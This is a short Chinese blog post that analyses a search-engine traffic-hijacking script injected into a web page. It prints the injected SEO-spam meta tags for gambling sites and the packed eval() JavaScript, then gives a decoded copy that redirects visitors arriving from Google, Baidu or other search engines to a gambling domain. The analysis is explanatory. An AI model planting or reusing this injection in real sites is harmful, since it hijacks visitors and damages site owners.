一段流量劫持代码

仅供研究,勿用于非法用途。

源代码:

<noscript><title>&#128309;&#37329;&#27801;&#36172;&#21338;&#32593;&#44;&#37329;&#27801;&#36172;&#21338;&#32593;&#24320;&#25143;&#44;&#28595;&#38376;&#36172;&#21338;&#32593;&#44;&#26032;&#33889;&#20140;&#23448;&#32593;&#44;&#29616;&#37329;&#32593;&#26827;&#29260;&#44;&#30495;&#20154;&#36172;&#38065;&#32593;&#44;&#32654;&#39640;&#26757;&#23448;&#32593;&#24179;&#21488;&#44;&#29616;&#37329;&#21338;&#24425;&#23448;&#32593;</title></noscript>
<meta name="keywords" content="&#37329;&#27801;&#36172;&#21338;&#32593;&#44;&#37329;&#27801;&#36172;&#21338;&#32593;&#24320;&#25143;&#44;&#28595;&#38376;&#36172;&#21338;&#32593;&#44;&#26032;&#33889;&#20140;&#23448;&#32593;&#44;&#29616;&#37329;&#32593;&#26827;&#29260;&#44;&#30495;&#20154;&#36172;&#38065;&#32593;&#44;&#32654;&#39640;&#26757;&#23448;&#32593;&#24179;&#21488;&#44;&#29616;&#37329;&#21338;&#24425;&#23448;&#32593;"/><meta name="description" content="&#128309;&#128309;&#128309;&spades;&hearts;&clubs;&diams;&#128309;&#128309;&#128309;&#37329;&#27801;&#36172;&#21338;&#32593;&#44;&#37329;&#27801;&#36172;&#21338;&#32593;&#24320;&#25143;&#44;&#28595;&#38376;&#36172;&#21338;&#32593;&#44;&#26032;&#33889;&#20140;&#23448;&#32593;&#44;&#29616;&#37329;&#32593;&#26827;&#29260;&#44;&#30495;&#20154;&#36172;&#38065;&#32593;&#44;&#32654;&#39640;&#26757;&#23448;&#32593;&#24179;&#21488;&#44;&#29616;&#37329;&#21338;&#24425;&#23448;&#32593;"/>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('2(5.f!=\'4\'){1 r=g.d;r=r.e();1 3=k l(\'h.\',\'j.\',\'8.\',\'6.\',\'c.\',\'7.\');1 b=a;9(i v 3){2(r.u(3[i])>0){b=x;w}}2(b){n.m=\'p://t.s.q/\';5.o=\'4\'}}',34,34,'|var|if|aSites|ad_app6|window|so|sogou|soso|for|false||360|referrer|toLowerCase|name|document|google||baidu|new|Array|location|self|adworkergo|http|com||bigdai|www|indexOf|in|break|true'.split('|'),0,{}))
</script>

对以上eval js代码解密后(使用工具:http://tool.lu/js/):

if (window.name != 'ad_app6') {
    var r = document.referrer;
    r = r.toLowerCase();
    var aSites = new Array('google.', 'baidu.', 'soso.', 'so.', '360.', 'sogou.');
    var b = false;
    for (i in aSites) {
        if (r.indexOf(aSites[i]) > 0) {
            b = true;
            break
        }
    }
    if (b) {
        self.location = 'http://www#bigdai#com/';(不贡献流量,.号用#替代)
        window.adworkergo = 'ad_app6'
    }
}

代码没什么特殊的,就是检测当前window名字若不为ad_app6,则获取访问当前页面之前的页面,目的是监测搜索引擎的搜索流量。

然后逐一去访问来源的域名中找aSites数组中存在的搜索引擎,如果存在,设置一个bool变量b为真。

若b为真,自动转向劫持到目标域名,并为window添加一个属性,目的是啥不知道。

posted @ 2017-05-12 09:53  菜鸟江太公  阅读(444)  评论(0编辑  收藏  举报